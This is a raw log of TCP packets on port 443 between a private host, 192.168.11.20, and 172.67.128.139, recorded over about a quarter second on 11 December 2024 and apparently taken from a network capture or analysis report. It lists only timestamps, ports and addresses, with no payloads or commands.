Dec 11, 2024 12:14:47.729469061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.729569912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.731087923 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.731101990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.731235027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.731235027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.731281996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.731296062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.731334925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.731381893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.731431007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.732752085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.732769966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.732988119 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.733038902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.733088017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.733093023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.733195066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.733345032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.734829903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.734843016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.734994888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.734994888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.735044956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.735044956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.735052109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.735094070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.735188961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.736602068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.736614943 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.736901999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.736948967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.736954927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.736998081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.737098932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.737337112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.738398075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.738410950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.738571882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.738571882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.738620043 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.738626003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.738671064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.738768101 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.740108013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.740122080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.740463018 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.740475893 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.740811110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.741877079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.741894960 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.742064953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.742064953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.742064953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.742080927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.742111921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.742213964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.742263079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.744066000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.744080067 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.744312048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.744360924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.744426966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.744432926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.744476080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.744530916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.744678020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.745790958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.745809078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.746006012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.746006012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.746021986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.746105909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.746212006 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.747482061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.747503996 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.747673988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.747673988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.747721910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.747726917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.747771025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.747939110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.749372959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.749391079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.749557972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.749557972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.749610901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.749610901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.749610901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.749619007 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.749890089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.751085997 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.751100063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.751251936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.751251936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.751300097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.751300097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.751306057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.751351118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.751449108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.753112078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.753127098 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.753283978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.753310919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.753360033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.753360033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.753360033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.753367901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.753592968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.754832983 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.754847050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.754980087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.754997969 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.755117893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.755170107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.756671906 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.756694078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.756882906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.756892920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.756930113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.756930113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.757033110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.758485079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.758616924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.758651972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.758698940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.758711100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.758797884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.758797884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.767683029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.915515900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.915539026 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.915724993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.915724993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.915724993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.915744066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.915824890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.915921926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.917061090 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.917074919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.917196989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.917244911 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.917244911 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.917258978 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.917290926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.917392015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.917440891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.919063091 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.919079065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.919249058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.919249058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.919342041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.919348955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.919503927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.920913935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.920933962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.921098948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.921145916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.921145916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.921145916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.921161890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.921192884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.921396017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.922456026 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.922475100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.922662973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.922718048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.922718048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.922734022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.922905922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.924187899 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.924202919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.924366951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.924366951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.924412012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.924418926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.924459934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.924660921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.925640106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.925653934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.925782919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.925834894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.925834894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.925834894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.925843000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.925932884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.925978899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.927333117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.927347898 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.927500010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.927500010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.927548885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.927561045 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.927593946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.927647114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.927746058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.929208994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.929223061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.929356098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.929452896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.929457903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.929503918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.929591894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.930811882 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.930826902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.930984974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.930984974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.930996895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.931030035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.931128025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.931180000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.932566881 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.932581902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.932754993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.932754993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.932773113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.932806015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.932806015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.932934999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.933836937 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.933852911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.934082031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.934082031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.934092999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.934108019 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.934283018 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.935693026 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.935709000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.935858011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.935858011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.935908079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.935915947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.936013937 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.936093092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.937640905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.937657118 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.937783003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.937783003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.937911987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.937917948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.938055992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.939287901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.939304113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.939439058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.939439058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.939487934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.939493895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.939589977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.939687014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.940256119 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.940272093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.940419912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.940468073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.940530062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.940536022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.940680981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.942291975 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.942307949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.942460060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.942460060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.942533016 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.942533016 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.942549944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.942606926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.942704916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.944250107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.944261074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.944406033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.944504023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.944508076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.944593906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.944708109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.945854902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.945866108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.945997953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.945997953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.946043015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.946047068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.946095943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.946144104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.946192980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.947575092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.947585106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.947762966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.947762966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.947812080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.947817087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.947954893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.948007107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.948843002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.948853970 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.948976994 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.949023008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.949023008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.949028015 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.949078083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.949078083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.949168921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.950614929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.950623989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.950773001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.950773001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.950822115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.950824976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.950920105 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.951003075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.952389956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.952398062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.952523947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.952644110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.952644110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.952649117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.952784061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.954248905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.954257965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.954451084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.954515934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.954515934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.954521894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.954653025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.955317020 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.955324888 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.955476046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.955476046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.955544949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.955544949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.955550909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.955594063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.955696106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.957067966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.957076073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.957237959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.957289934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.957293034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.957339048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.957386971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.957531929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.958935022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.958942890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.959232092 CET	49776	443	192.168.11.20	172.67.128.139
